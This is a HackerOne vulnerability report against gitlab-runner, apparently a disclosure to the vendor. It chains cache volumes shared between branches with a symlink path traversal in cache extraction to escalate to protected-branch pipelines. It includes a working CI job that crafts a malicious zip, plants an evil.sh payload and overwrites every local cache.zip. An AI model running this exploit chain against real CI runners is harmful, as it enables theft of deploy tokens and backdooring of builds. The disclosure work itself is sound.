`gitlab-runner-helper cache-extractor` path-traversal leads to RCE and privilege escalation to the context of protected branches
HackerOne report #1238446 by wapiflapi
on 2021-06-19, assigned to @dcouture:
Report | Attachments | How To Reproduce
Report
Summary
This report is about two vulnerabilities in gitlab-runner
that I had to chain together to demonstrate impact of the second one.
The first one is the ability to read and write to any local cache key (including ones used by protected branches) because they aren't isolated in different docker volumes.
The second one is a path traversal vulnerability in the unpacking of those cache files.
This is all in the context of an attacker controlling the .gitlab-ci.yml
for an unprotected branch and elevating their privileges to the context of a protected branch.
1. cache-read-write, cache for other keys are readable and writable.
When not using cache urls, which is the default for a newly installed runner, it is possible to simply read or write caches for other cache-keys.
https://docs.gitlab.com/ee/ci/caching/#where-the-caches-are-stored
By default, they are stored locally in the machine where the runner is installed and depends on the type of the executor. [...] Locally, stored under Docker volumes
How is this different from #1182375?
This has a similar impact as #1182375 but it is different because here we are directly reading or overwriting locally stored cache. Any filtering in gitlab
on the allowed values of the cache key, or even prefixing that key with the protected status of branches would be bypassed by this new way of reading / writing the cache directly where it is stored.
2. extractor-path-traversal, when unzipping the cache.
When gitlab-runner-helper cache-extractor
is used to extract the cache there is a path-traversal vulnerability. If the cache file is malicious (eg. it has been corrupted through the previous vulnerability) then it is possible to overwrite arbitrary files on the file system because there is a path traversal.
The extractor allows symlinks to point anywhere, which makes it possible to overwrite configuration of execturable files.
Steps to reproduce
For this PoC we will demonstrate how being able to start a pipeline for an unprotected branch can result in arbitrary code execution on gitlab/gitlab-runner-helper
in the context of a protected branch.
-
- Set-up a gitlab project
-
- Disable Shared Runners in Settings > CI/CD > Runners. We do not want to exploit gitlab.com's runners, instead add a specific runner for this PoC on a server.
$ sudo docker run --rm -it -v /srv/gitlab-runner/config:/etc/gitlab-runner gitlab/gitlab-runner register
This will ask some questions, set it up to use the docker
executor and start the runner:
$ sudo docker run --rm -it -v /srv/gitlab-runner/config:/etc/gitlab-runner -v /var/run/docker.sock:/var/run/docker.sock -p 8093:33380 gitlab/gitlab-runner
-
- Add a
.gitlab-ci.yml
file to themain
branch
- Add a
cache:
- key: first-cache
paths:
- foo
- key: second-cache
paths:
- bar
job:
script:
- echo "normal script"
-
- Make sure the pipeline for the
main
branch has run successfully and nothing suspicious happened (yet).
- Make sure the pipeline for the
The main
branch is protected. The attacker is now going to set-up an unprotected branch and elevate their privileges.
-
- Create a
feature/malicious
branch and modify the.gitlab-ci.yml
to include the following code:
- Create a
infect:
image: ubuntu
script:
- apt -qq update && apt -qq install -y zip unzip
- rm -rf vuln.zip evil.sh fsroot
# Write a payload that will show the privilege escalation.
- echo "#!/bin/bash" >> evil.sh
- echo "[ \$1 = --version ] && exit 0" >> evil.sh
- echo "echo Executed evil code from cache attack." >> evil.sh
- echo "echo 🔥 At install CI_COMMIT_REF_PROTECTED=$CI_COMMIT_REF_PROTECTED" >> evil.sh
- echo "echo 🔥 At runtime CI_COMMIT_REF_PROTECTED=\$CI_COMMIT_REF_PROTECTED" >> evil.sh
- echo "exit 1" >> evil.sh
- chmod +x evil.sh
# Craft a zip file with exploiting the path-traversal vulnerability.
- zip --symlinks vuln.zip evil.sh
- ln -s / fsroot
- zip --symlinks -u vuln.zip fsroot
- rm fsroot && mkdir -p fsroot/usr/bin/
- ln -s $CI_PROJECT_DIR/evil.sh fsroot/usr/bin/gitlab-runner-helper
- zip --symlinks -u vuln.zip fsroot/usr/bin/gitlab-runner-helper
# Show our work before installing it.
- echo "We wrote the following paylout evil.sh:" && cat evil.sh
- echo "And we included it in the following malicious zipfile"
- unzip -l vuln.zip | tee vuln.zip.log
# Now install it:
- for x in ../../../cache/*/*/*/cache.zip; do echo " - overwriting $x"; cp vuln.zip $x || true; done
What this does is craft a malicious zip file and overwrite all the available caches with that file.
-
- Check that the pipeline for the
feature/malicious
has finished.
- Check that the pipeline for the
-
- Now the attacker waits until any other pipeline is executed, for this PoC you can retry a pipeline on the main branch.
Notice:
In the logs of the pipeline on main
you should see:
Executed evil code from cache attack.
🔥 At install CI_COMMIT_REF_PROTECTED=false
🔥 At runtime CI_COMMIT_REF_PROTECTED=true
This means the attacker was able to inject arbitrary code into the context of the main
branch.
Why does the PoC need two caches? It might not be needed.
Overwriting executable files to gain code execution requires that there are things being executed after the corruption. [Un]fortunately the docker gitlab/gitlab-runner-helper
container is not persistent so it is quite hard to exploit. The easiest case I found to demonstrate was when multiple caches are configured since they are all loaded sequentially.
Keep in mind that it might very well be possible to exploit this in a more general case, especially given the variety of helper-images, ubuntu vs. alpine, or even custom ones as that seems to be possible according to the docs.
Impact
Impact of 1. cache-read-write
In its own right the exposure of all cache-keys provides an opportunity for exploitation, similar to #1182357. Because the cache is extracted at the root of a repository it is possible to overwrite any file and probably gain code execution. For example by overwriting tox.ini
, Makefile
, etc. But this is specific to the target. Once code execution is gained in this way the impact would be the same as what will be described at the end of the vulnerability chain.
Even if it wasn't possible to gain code execution, it would still be possible to overwrite imported code that might result in a backdoor in any exported assets depending on what the Job is supposed to do. (eg: build a docker image, or build a release for the project, etc.)
In addition compared to #1182375 this also has the added "benefit" (hazard) of being able to write arbitrary files, eg. "crafted" zip files which allows for the exploitation of the second vulnerability.
Impact of 2. extractor-path-traversal
Using the path-traversal it is possible to overwrite executable or configuration files on gitlab-runner-helper
which can result in code execution in this context.
First of all code execution in the context of gitlab-runner-helper
seems surprising and unintended to me. It might possibly be dangerous if/when the helper is used for critical things (validation, clean-up, etc.)
But for the purposes of this PoC the important part is that we get arbitrary code execution in the context of a protected branch. It does not matter if we get that from the helper or the other container.
Speculation: Note that if the plan to fix #1191195 and #1177453 (.git
related vulnerabilities) is to have a "known clean" version of the repo anywhere accessible from the gitlab-runner-helper
then this would allow an attacker to corrupt it again and maybe persist for future jobs. I point this out because it might not be expected that un-trusted code can be run from inside the helper.
Global Impact
If a user has enough privilege to push code and trigger a pipeline on any branch (eg: they are a developer), then they can corrupt the cache for a protected branch and execute arbitrary code when it is extracted. This elevates their privilege considerably. For example:
-
A developer could leak sensitive information from protected environment variables. (deploy tokens, registry access, AWS tokens, etc.)
-
A developer could alter the build process and backdoor the final product without detection because they wouldn't be touching the git repo.
Example
In addition to the previous explanation of how to reproduce this, I set-up a demo project on gitlab.com.
Relevant URLs:
- Example project on gitlab.com https://gitlab.com/wapiflapi/gl-cache-extractor-path-traversal
- Job on pipeline before infection: https://gitlab.com/wapiflapi/gl-cache-extractor-path-traversal/-/jobs/1360995314
- Malicious CI/CD job that corrupts all cache: https://gitlab.com/wapiflapi/gl-cache-extractor-path-traversal/-/jobs/1360999494
- A job on
main
after the infection showing arbitrary code execution with elevated privileges: https://gitlab.com/wapiflapi/gl-cache-extractor-path-traversal/-/jobs/1360999760
What is the current bug behavior?
Local cache is stored in a docker volume and a job is not restricted to which keys it can access, read and write to when using the file system directly to do so.
The zip extraction code used by gitlab-runner-helper cache-extractor
fails to prevent path-traversal because it allows the creation of symlinks to folders outside of the target.
What is the expected correct behavior?
A job should not be able to read/write to caches other than it's own, and it certainly shouldn't be able to tamper with caches that are used by jobs with a different "protected" status. This is already the case for the repository / code, only the required code is exposed to the container, the same should probably be done for the cache. In addition it might be a good idea to check / guarantee the integrity of the cache.
The zip extraction code should be safe from path traversal vulnerabilities.
Relevant logs and/or screenshots
N/A
Output of checks
This bug happens on GitLab.com
Impact
If a user has enough privilege to push code and trigger a pipeline on any branch (eg: they are a developer), then they can corrupt the cache for a protected branch and execute arbitrary code when it is extracted. This elevates their privilege considerably. For example:
-
A developer could leak sensitive information from protected environment variables. (deploy tokens, registry access, AWS tokens, etc.)
-
A developer could alter the build process and backdoor the final product without detection because they wouldn't be touching the git repo.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: